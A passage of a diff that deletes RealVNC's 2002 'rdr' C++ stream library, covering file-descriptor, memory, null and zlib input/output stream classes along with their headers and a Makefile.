TimedOut(const char* s=0) : Exception(s,"rdr::TimedOut") {}
};
struct EndOfStream : public Exception {
EndOfStream(const char* s=0) : Exception(s,"rdr::EndOfStream") {}
};
struct FrameException : public Exception {
FrameException(const char* s=0) : Exception(s,"rdr::FrameException") {}
};
}
#endif

View File

@ -1,247 +0,0 @@
//
// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
//
// This is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This software is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this software; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#ifdef _WIN32
#include <winsock.h>
#include <sys/timeb.h>
#define read(s,b,l) recv(s,(char*)b,l,0)
#undef errno
#define errno WSAGetLastError()
#else
#include <unistd.h>
#include <sys/time.h>
#endif
// XXX should use autoconf HAVE_SYS_SELECT_H
#ifdef _AIX
#include <sys/select.h>
#endif
#include <rdr/FdInStream.h>
#include <rdr/Exception.h>
using namespace rdr;
enum { DEFAULT_BUF_SIZE = 8192,
MIN_BULK_SIZE = 1024 };
FdInStream::FdInStream(int fd_, int timeout_, int bufSize_)
: fd(fd_), timeout(timeout_), blockCallback(0), blockCallbackArg(0),
timing(false), timeWaitedIn100us(5), timedKbits(0),
bufSize(bufSize_ ? bufSize_ : DEFAULT_BUF_SIZE), offset(0)
{
ptr = end = start = new U8[bufSize];
}
FdInStream::FdInStream(int fd_, void (*blockCallback_)(void*),
void* blockCallbackArg_, int bufSize_)
: fd(fd_), timeout(0), blockCallback(blockCallback_),
blockCallbackArg(blockCallbackArg_),
timing(false), timeWaitedIn100us(5), timedKbits(0),
bufSize(bufSize_ ? bufSize_ : DEFAULT_BUF_SIZE), offset(0)
{
ptr = end = start = new U8[bufSize];
}
FdInStream::~FdInStream()
{
delete [] start;
}
int FdInStream::pos()
{
return offset + ptr - start;
}
void FdInStream::readBytes(void* data, int length)
{
if (length < MIN_BULK_SIZE) {
InStream::readBytes(data, length);
return;
}
U8* dataPtr = (U8*)data;
int n = end - ptr;
if (n > length) n = length;
memcpy(dataPtr, ptr, n);
dataPtr += n;
length -= n;
ptr += n;
while (length > 0) {
n = readWithTimeoutOrCallback(dataPtr, length);
dataPtr += n;
length -= n;
offset += n;
}
}
int FdInStream::overrun(int itemSize, int nItems)
{
if (itemSize > bufSize)
throw Exception("FdInStream overrun: max itemSize exceeded");
if (end - ptr != 0)
memmove(start, ptr, end - ptr);
offset += ptr - start;
end -= ptr - start;
ptr = start;
while (end < start + itemSize) {
int n = readWithTimeoutOrCallback((U8*)end, start + bufSize - end);
end += n;
}
if (itemSize * nItems > end - ptr)
nItems = (end - ptr) / itemSize;
return nItems;
}
int FdInStream::checkReadable(int fd, int timeout)
{
while (true) {
fd_set rfds;
struct timeval tv;
tv.tv_sec = timeout / 1000;
tv.tv_usec = (timeout % 1000) * 1000;
FD_ZERO(&rfds);
FD_SET(fd, &rfds);
int n = select(fd+1, &rfds, 0, 0, &tv);
if (n != -1 || errno != EINTR)
return n;
fprintf(stderr,"select returned EINTR\n");
}
}
#ifdef _WIN32
static void gettimeofday(struct timeval* tv, void*)
{
LARGE_INTEGER counts, countsPerSec;
static double usecPerCount = 0.0;
if (QueryPerformanceCounter(&counts)) {
if (usecPerCount == 0.0) {
QueryPerformanceFrequency(&countsPerSec);
usecPerCount = 1000000.0 / countsPerSec.QuadPart;
}
LONGLONG usecs = (LONGLONG)(counts.QuadPart * usecPerCount);
tv->tv_usec = (long)(usecs % 1000000);
tv->tv_sec = (long)(usecs / 1000000);
} else {
struct timeb tb;
ftime(&tb);
tv->tv_sec = tb.time;
tv->tv_usec = tb.millitm * 1000;
}
}
#endif
int FdInStream::readWithTimeoutOrCallback(void* buf, int len)
{
struct timeval before, after;
if (timing)
gettimeofday(&before, 0);
int n = checkReadable(fd, timeout);
if (n < 0) throw SystemException("select",errno);
if (n == 0) {
if (timeout) throw TimedOut();
if (blockCallback) (*blockCallback)(blockCallbackArg);
}
while (true) {
n = ::read(fd, buf, len);
if (n != -1 || errno != EINTR)
break;
fprintf(stderr,"read returned EINTR\n");
}
if (n < 0) throw SystemException("read",errno);
if (n == 0) throw EndOfStream();
if (timing) {
gettimeofday(&after, 0);
// fprintf(stderr,"%d.%06d\n",(after.tv_sec - before.tv_sec),
// (after.tv_usec - before.tv_usec));
int newTimeWaited = ((after.tv_sec - before.tv_sec) * 10000 +
(after.tv_usec - before.tv_usec) / 100);
int newKbits = n * 8 / 1000;
// if (newTimeWaited == 0) {
// fprintf(stderr,"new kbps infinite t %d k %d\n",
// newTimeWaited, newKbits);
// } else {
// fprintf(stderr,"new kbps %d t %d k %d\n",
// newKbits * 10000 / newTimeWaited, newTimeWaited, newKbits);
// }
// limit rate to between 10kbit/s and 40Mbit/s
if (newTimeWaited > newKbits*1000) newTimeWaited = newKbits*1000;
if (newTimeWaited < newKbits/4) newTimeWaited = newKbits/4;
timeWaitedIn100us += newTimeWaited;
timedKbits += newKbits;
}
return n;
}
void FdInStream::startTiming()
{
timing = true;
// Carry over up to 1s worth of previous rate for smoothing.
if (timeWaitedIn100us > 10000) {
timedKbits = timedKbits * 10000 / timeWaitedIn100us;
timeWaitedIn100us = 10000;
}
}
void FdInStream::stopTiming()
{
timing = false;
if (timeWaitedIn100us < timedKbits/2)
timeWaitedIn100us = timedKbits/2; // upper limit 20Mbit/s
}
unsigned int FdInStream::kbitsPerSecond()
{
// The following calculation will overflow 32-bit arithmetic if we have
// received more than about 50Mbytes (400Mbits) since we started timing, so
// it should be OK for a single RFB update.
return timedKbits * 10000 / timeWaitedIn100us;
}

View File

@ -1,72 +0,0 @@
//
// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
//
// This is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This software is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this software; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// FdInStream streams from a file descriptor.
//
#ifndef __RDR_FDINSTREAM_H__
#define __RDR_FDINSTREAM_H__
#include <rdr/InStream.h>
namespace rdr {
class FdInStream : public InStream {
public:
FdInStream(int fd, int timeout=0, int bufSize=0);
FdInStream(int fd, void (*blockCallback)(void*), void* blockCallbackArg=0,
int bufSize=0);
virtual ~FdInStream();
int getFd() { return fd; }
int pos();
void readBytes(void* data, int length);
int bytesInBuf() { return end - ptr; }
void startTiming();
void stopTiming();
unsigned int kbitsPerSecond();
unsigned int timeWaited() { return timeWaitedIn100us; }
protected:
int overrun(int itemSize, int nItems);
private:
int checkReadable(int fd, int timeout);
int readWithTimeoutOrCallback(void* buf, int len);
int fd;
int timeout;
void (*blockCallback)(void*);
void* blockCallbackArg;
bool timing;
unsigned int timeWaitedIn100us;
unsigned int timedKbits;
int bufSize;
int offset;
U8* start;
};
} // end of namespace rdr
#endif

View File

@ -1,113 +0,0 @@
//
// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
//
// This is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This software is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this software; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#ifdef _WIN32
#include <winsock.h>
#define write(s,b,l) send(s,(const char*)b,l,0)
#undef errno
#define errno WSAGetLastError()
#else
#include <unistd.h>
#include <sys/time.h>
#endif
#include <rdr/FdOutStream.h>
#include <rdr/Exception.h>
using namespace rdr;
enum { DEFAULT_BUF_SIZE = 16384,
MIN_BULK_SIZE = 1024 };
FdOutStream::FdOutStream(int fd_, int bufSize_)
: fd(fd_), bufSize(bufSize_ ? bufSize_ : DEFAULT_BUF_SIZE), offset(0)
{
ptr = start = new U8[bufSize];
end = start + bufSize;
}
FdOutStream::~FdOutStream()
{
try {
flush();
} catch (Exception&) {
}
delete [] start;
}
void FdOutStream::writeBytes(const void* data, int length)
{
if (length < MIN_BULK_SIZE) {
OutStream::writeBytes(data, length);
return;
}
const U8* dataPtr = (const U8*)data;
flush();
while (length > 0) {
int n = write(fd, dataPtr, length);
if (n < 0) throw SystemException("write",errno);
length -= n;
dataPtr += n;
offset += n;
}
}
int FdOutStream::length()
{
return offset + ptr - start;
}
void FdOutStream::flush()
{
U8* sentUpTo = start;
while (sentUpTo < ptr) {
int n = write(fd, (const void*) sentUpTo, ptr - sentUpTo);
if (n < 0) throw SystemException("write",errno);
sentUpTo += n;
offset += n;
}
ptr = start;
}
int FdOutStream::overrun(int itemSize, int nItems)
{
if (itemSize > bufSize)
throw Exception("FdOutStream overrun: max itemSize exceeded");
flush();
if (itemSize * nItems > end - ptr)
nItems = (end - ptr) / itemSize;
return nItems;
}

View File

@ -1,53 +0,0 @@
//
// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
//
// This is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This software is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this software; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// FdOutStream streams to a file descriptor.
//
#ifndef __RDR_FDOUTSTREAM_H__
#define __RDR_FDOUTSTREAM_H__
#include <rdr/OutStream.h>
namespace rdr {
class FdOutStream : public OutStream {
public:
FdOutStream(int fd, int bufSize=0);
virtual ~FdOutStream();
int getFd() { return fd; }
void flush();
int length();
void writeBytes(const void* data, int length);
private:
int overrun(int itemSize, int nItems);
int fd;
int bufSize;
int offset;
U8* start;
};
}
#endif

View File

@ -1,52 +0,0 @@
//
// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
//
// This is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This software is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this software; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// A FixedMemOutStream writes to a buffer of a fixed length.
//
#ifndef __RDR_FIXEDMEMOUTSTREAM_H__
#define __RDR_FIXEDMEMOUTSTREAM_H__
#include <rdr/OutStream.h>
#include <rdr/Exception.h>
namespace rdr {
class FixedMemOutStream : public OutStream {
public:
FixedMemOutStream(void* buf, int len) {
ptr = start = (U8*)buf;
end = start + len;
}
int length() { return ptr - start; }
void reposition(int pos) { ptr = start + pos; }
const void* data() { return (const void*)start; }
private:
int overrun(int itemSize, int nItems) { throw EndOfStream(); }
U8* start;
};
}
#endif

View File

@ -1,35 +0,0 @@
//
// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
//
// This is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This software is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this software; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
#include <rdr/InStream.h>
#include <rdr/Exception.h>
using namespace rdr;
U32 InStream::maxStringLength = 65535;
char* InStream::readString()
{
U32 len = readU32();
if (len > maxStringLength)
throw Exception("InStream max string length exceeded");
char* str = new char[len+1];
readBytes(str, len);
str[len] = 0;
return str;
}

View File

@ -1,143 +0,0 @@
//
// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
//
// This is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This software is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this software; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// rdr::InStream marshalls data from a buffer stored in RDR (RFB Data
// Representation).
//
#ifndef __RDR_INSTREAM_H__
#define __RDR_INSTREAM_H__
#include <rdr/types.h>
#include <string.h> // for memcpy
namespace rdr {
class InStream {
public:
virtual ~InStream() {}
// check() ensures there is buffer data for at least one item of size
// itemSize bytes. Returns the number of items in the buffer (up to a
// maximum of nItems).
inline int check(int itemSize, int nItems=1)
{
if (ptr + itemSize * nItems > end) {
if (ptr + itemSize > end)
return overrun(itemSize, nItems);
nItems = (end - ptr) / itemSize;
}
return nItems;
}
// readU/SN() methods read unsigned and signed N-bit integers.
inline U8 readU8() { check(1); return *ptr++; }
inline U16 readU16() { check(2); int b0 = *ptr++; int b1 = *ptr++;
return b0 << 8 | b1; }
inline U32 readU32() { check(4); int b0 = *ptr++; int b1 = *ptr++;
int b2 = *ptr++; int b3 = *ptr++;
return b0 << 24 | b1 << 16 | b2 << 8 | b3; }
inline S8 readS8() { return (S8) readU8(); }
inline S16 readS16() { return (S16)readU16(); }
inline S32 readS32() { return (S32)readU32(); }
// readString() reads a string - a U32 length followed by the data.
// Returns a null-terminated string - the caller should delete[] it
// afterwards.
char* readString();
// maxStringLength protects against allocating a huge buffer. Set it
// higher if you need longer strings.
static U32 maxStringLength;
inline void skip(int bytes) {
while (bytes > 0) {
int n = check(1, bytes);
ptr += n;
bytes -= n;
}
}
// readBytes() reads an exact number of bytes.
virtual void readBytes(void* data, int length) {
U8* dataPtr = (U8*)data;
U8* dataEnd = dataPtr + length;
while (dataPtr < dataEnd) {
int n = check(1, dataEnd - dataPtr);
memcpy(dataPtr, ptr, n);
ptr += n;
dataPtr += n;
}
}
// readOpaqueN() reads a quantity without byte-swapping.
inline U8 readOpaque8() { return readU8(); }
inline U16 readOpaque16() { check(2); U16 r; ((U8*)&r)[0] = *ptr++;
((U8*)&r)[1] = *ptr++; return r; }
inline U32 readOpaque32() { check(4); U32 r; ((U8*)&r)[0] = *ptr++;
((U8*)&r)[1] = *ptr++; ((U8*)&r)[2] = *ptr++;
((U8*)&r)[3] = *ptr++; return r; }
inline U32 readOpaque24A() { check(3); U32 r=0; ((U8*)&r)[0] = *ptr++;
((U8*)&r)[1] = *ptr++; ((U8*)&r)[2] = *ptr++;
return r; }
inline U32 readOpaque24B() { check(3); U32 r=0; ((U8*)&r)[1] = *ptr++;
((U8*)&r)[2] = *ptr++; ((U8*)&r)[3] = *ptr++;
return r; }
// pos() returns the position in the stream.
virtual int pos() = 0;
// getptr(), getend() and setptr() are "dirty" methods which allow you to
// manipulate the buffer directly. This is useful for a stream which is a
// wrapper around an underlying stream.
inline const U8* getptr() const { return ptr; }
inline const U8* getend() const { return end; }
inline void setptr(const U8* p) { ptr = p; }
private:
// overrun() is implemented by a derived class to cope with buffer overrun.
// It ensures there are at least itemSize bytes of buffer data. Returns
// the number of items in the buffer (up to a maximum of nItems). itemSize
// is supposed to be "small" (a few bytes).
virtual int overrun(int itemSize, int nItems) = 0;
protected:
InStream() {}
const U8* ptr;
const U8* end;
};
}
#endif

View File

@ -1,18 +0,0 @@
SRCS = FdInStream.cxx FdOutStream.cxx InStream.cxx NullOutStream.cxx \
ZlibInStream.cxx ZlibOutStream.cxx
OBJS = $(SRCS:.cxx=.o)
DIR_CPPFLAGS = -I$(top_srcdir) @ZLIB_INCLUDE@
library = librdr.a
all:: $(library)
$(library): $(OBJS)
rm -f $(library)
$(AR) $(library) $(OBJS)
$(RANLIB) $(library)
# followed by boilerplate.mk

View File

@ -1,47 +0,0 @@
//
// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
//
// This is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This software is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this software; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
#ifndef __RDR_MEMINSTREAM_H__
#define __RDR_MEMINSTREAM_H__
#include <rdr/InStream.h>
#include <rdr/Exception.h>
namespace rdr {
class MemInStream : public InStream {
public:
MemInStream(const void* data, int len) {
ptr = start = (const U8*)data;
end = start + len;
}
int pos() { return ptr - start; }
void reposition(int pos) { ptr = start + pos; }
private:
int overrun(int itemSize, int nItems) { throw EndOfStream(); }
const U8* start;
};
}
#endif

View File

@ -1,82 +0,0 @@
//
// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
//
// This is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This software is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this software; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// A MemOutStream grows as needed when data is written to it.
//
#ifndef __RDR_MEMOUTSTREAM_H__
#define __RDR_MEMOUTSTREAM_H__
#include <rdr/OutStream.h>
namespace rdr {
class MemOutStream : public OutStream {
public:
MemOutStream(int len=1024) {
start = ptr = new U8[len];
end = start + len;
}
virtual ~MemOutStream() {
delete [] start;
}
void writeBytes(const void* data, int length) {
check(length);
memcpy(ptr, data, length);
ptr += length;
}
int length() { return ptr - start; }
void clear() { ptr = start; };
void reposition(int pos) { ptr = start + pos; }
// data() returns a pointer to the buffer.
const void* data() { return (const void*)start; }
private:
// overrun() either doubles the buffer or adds enough space for nItems of
// size itemSize bytes.
int overrun(int itemSize, int nItems) {
int len = ptr - start + itemSize * nItems;
if (len < (end - start) * 2)
len = (end - start) * 2;
U8* newStart = new U8[len];
memcpy(newStart, start, ptr - start);
ptr = newStart + (ptr - start);
delete [] start;
start = newStart;
end = newStart + len;
return nItems;
}
U8* start;
};
}
#endif

View File

@ -1,60 +0,0 @@
//
// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
//
// This is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This software is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this software; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
#include <rdr/NullOutStream.h>
#include <rdr/Exception.h>
using namespace rdr;
static const int bufferSize = 1024;
NullOutStream::NullOutStream()
: offset(0)
{
start = ptr = new U8[bufferSize];
end = start + bufferSize;
}
NullOutStream::~NullOutStream()
{
delete [] start;
}
int NullOutStream::length()
{
return offset + ptr - start;
}
void NullOutStream::writeBytes(const void* data, int length)
{
offset += length;
}
int NullOutStream::overrun(int itemSize, int nItems)
{
if (itemSize > bufferSize)
throw Exception("NullOutStream overrun: max itemSize exceeded");
offset += ptr - start;
ptr = start;
if (itemSize * nItems > end - ptr)
nItems = (end - ptr) / itemSize;
return nItems;
}

View File

@ -1,42 +0,0 @@
//
// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
//
// This is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This software is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this software; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
#ifndef __RDR_NULLOUTSTREAM_H__
#define __RDR_NULLOUTSTREAM_H__
#include <rdr/OutStream.h>
namespace rdr {
class NullOutStream : public OutStream {
public:
NullOutStream();
virtual ~NullOutStream();
int length();
void writeBytes(const void* data, int length);
private:
int overrun(int itemSize, int nItems);
int offset;
U8* start;
};
}
#endif

View File

@ -1,152 +0,0 @@
//
// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
//
// This is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This software is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this software; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// rdr::OutStream marshalls data into a buffer stored in RDR (RFB Data
// Representation).
//
#ifndef __RDR_OUTSTREAM_H__
#define __RDR_OUTSTREAM_H__
#include <rdr/types.h>
#include <string.h> // for memcpy
namespace rdr {
class OutStream {
protected:
OutStream() {}
public:
virtual ~OutStream() {}
// check() ensures there is buffer space for at least one item of size
// itemSize bytes. Returns the number of items which fit (up to a maximum
// of nItems).
inline int check(int itemSize, int nItems=1)
{
if (ptr + itemSize * nItems > end) {
if (ptr + itemSize > end)
return overrun(itemSize, nItems);
nItems = (end - ptr) / itemSize;
}
return nItems;
}
// writeU/SN() methods write unsigned and signed N-bit integers.
inline void writeU8( U8 u) { check(1); *ptr++ = u; }
inline void writeU16(U16 u) { check(2); *ptr++ = u >> 8; *ptr++ = (U8)u; }
inline void writeU32(U32 u) { check(4); *ptr++ = u >> 24; *ptr++ = u >> 16;
*ptr++ = u >> 8; *ptr++ = u; }
inline void writeS8( S8 s) { writeU8((U8)s); }
inline void writeS16(S16 s) { writeU16((U16)s); }
inline void writeS32(S32 s) { writeU32((U32)s); }
// writeString() writes a string - a U32 length followed by the data. The
// given string should be null-terminated (but the terminating null is not
// written to the stream).
inline void writeString(const char* str) {
U32 len = strlen(str);
writeU32(len);
writeBytes(str, len);
}
inline void pad(int bytes) {
while (bytes-- > 0) writeU8(0);
}
inline void skip(int bytes) {
while (bytes > 0) {
int n = check(1, bytes);
ptr += n;
bytes -= n;
}
}
// writeBytes() writes an exact number of bytes.
virtual void writeBytes(const void* data, int length) {
const U8* dataPtr = (const U8*)data;
const U8* dataEnd = dataPtr + length;
while (dataPtr < dataEnd) {
int n = check(1, dataEnd - dataPtr);
memcpy(ptr, dataPtr, n);
ptr += n;
dataPtr += n;
}
}
// writeOpaqueN() writes a quantity without byte-swapping.
inline void writeOpaque8( U8 u) { writeU8(u); }
inline void writeOpaque16(U16 u) { check(2); *ptr++ = ((U8*)&u)[0];
*ptr++ = ((U8*)&u)[1]; }
inline void writeOpaque32(U32 u) { check(4); *ptr++ = ((U8*)&u)[0];
*ptr++ = ((U8*)&u)[1];
*ptr++ = ((U8*)&u)[2];
*ptr++ = ((U8*)&u)[3]; }
inline void writeOpaque24A(U32 u) { check(3); *ptr++ = ((U8*)&u)[0];
*ptr++ = ((U8*)&u)[1];
*ptr++ = ((U8*)&u)[2]; }
inline void writeOpaque24B(U32 u) { check(3); *ptr++ = ((U8*)&u)[1];
*ptr++ = ((U8*)&u)[2];
*ptr++ = ((U8*)&u)[3]; }
// length() returns the length of the stream.
virtual int length() = 0;
// flush() requests that the stream be flushed.
virtual void flush() {}
// getptr(), getend() and setptr() are "dirty" methods which allow you to
// manipulate the buffer directly. This is useful for a stream which is a
// wrapper around an underlying stream.
inline U8* getptr() { return ptr; }
inline U8* getend() { return end; }
inline void setptr(U8* p) { ptr = p; }
private:
// overrun() is implemented by a derived class to cope with buffer overrun.
// It ensures there are at least itemSize bytes of buffer space. Returns
// the number of items which fit (up to a maximum of nItems). itemSize is
// supposed to be "small" (a few bytes).
virtual int overrun(int itemSize, int nItems) = 0;
protected:
U8* ptr;
U8* end;
};
}
#endif

View File

@ -1,121 +0,0 @@
//
// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
//
// This is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This software is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this software; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
#include <rdr/ZlibInStream.h>
#include <rdr/Exception.h>
#include <zlib.h>
using namespace rdr;
enum { DEFAULT_BUF_SIZE = 16384 };
ZlibInStream::ZlibInStream(int bufSize_)
: underlying(0), bufSize(bufSize_ ? bufSize_ : DEFAULT_BUF_SIZE), offset(0),
bytesIn(0)
{
zs = new z_stream;
zs->zalloc = Z_NULL;
zs->zfree = Z_NULL;
zs->opaque = Z_NULL;
zs->next_in = Z_NULL;
zs->avail_in = 0;
if (inflateInit(zs) != Z_OK) {
delete zs;
throw Exception("ZlibInStream: inflateInit failed");
}
ptr = end = start = new U8[bufSize];
}
ZlibInStream::~ZlibInStream()
{
delete [] start;
inflateEnd(zs);
delete zs;
}
void ZlibInStream::setUnderlying(InStream* is, int bytesIn_)
{
underlying = is;
bytesIn = bytesIn_;
ptr = end = start;
}
int ZlibInStream::pos()
{
return offset + ptr - start;
}
void ZlibInStream::reset()
{
ptr = end = start;
if (!underlying) return;
while (bytesIn > 0) {
decompress();
end = start; // throw away any data
}
underlying = 0;
}
int ZlibInStream::overrun(int itemSize, int nItems)
{
if (itemSize > bufSize)
throw Exception("ZlibInStream overrun: max itemSize exceeded");
if (!underlying)
throw Exception("ZlibInStream overrun: no underlying stream");
if (end - ptr != 0)
memmove(start, ptr, end - ptr);
offset += ptr - start;
end -= ptr - start;
ptr = start;
while (end - ptr < itemSize) {
decompress();
}
if (itemSize * nItems > end - ptr)
nItems = (end - ptr) / itemSize;
return nItems;
}
// decompress() calls the decompressor once. Note that this won't necessarily
// generate any output data - it may just consume some input data.
void ZlibInStream::decompress()
{
zs->next_out = (U8*)end;
zs->avail_out = start + bufSize - end;
underlying->check(1);
zs->next_in = (U8*)underlying->getptr();
zs->avail_in = underlying->getend() - underlying->getptr();
if ((int)zs->avail_in > bytesIn)
zs->avail_in = bytesIn;
int rc = inflate(zs, Z_SYNC_FLUSH);
if (rc != Z_OK) {
throw Exception("ZlibInStream: inflate failed");
}
bytesIn -= zs->next_in - underlying->getptr();
end = zs->next_out;
underlying->setptr(zs->next_in);
}

View File

@ -1,59 +0,0 @@
//
// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
//
// This is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This software is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this software; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// ZlibInStream streams from a compressed data stream ("underlying"),
// decompressing with zlib on the fly.
//
#ifndef __RDR_ZLIBINSTREAM_H__
#define __RDR_ZLIBINSTREAM_H__
#include <rdr/InStream.h>
struct z_stream_s;
namespace rdr {
class ZlibInStream : public InStream {
public:
ZlibInStream(int bufSize=0);
virtual ~ZlibInStream();
void setUnderlying(InStream* is, int bytesIn);
void reset();
int pos();
private:
int overrun(int itemSize, int nItems);
void decompress();
InStream* underlying;
int bufSize;
int offset;
z_stream_s* zs;
int bytesIn;
U8* start;
};
} // end of namespace rdr
#endif

View File

@ -1,140 +0,0 @@
//
// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
//
// This is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This software is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
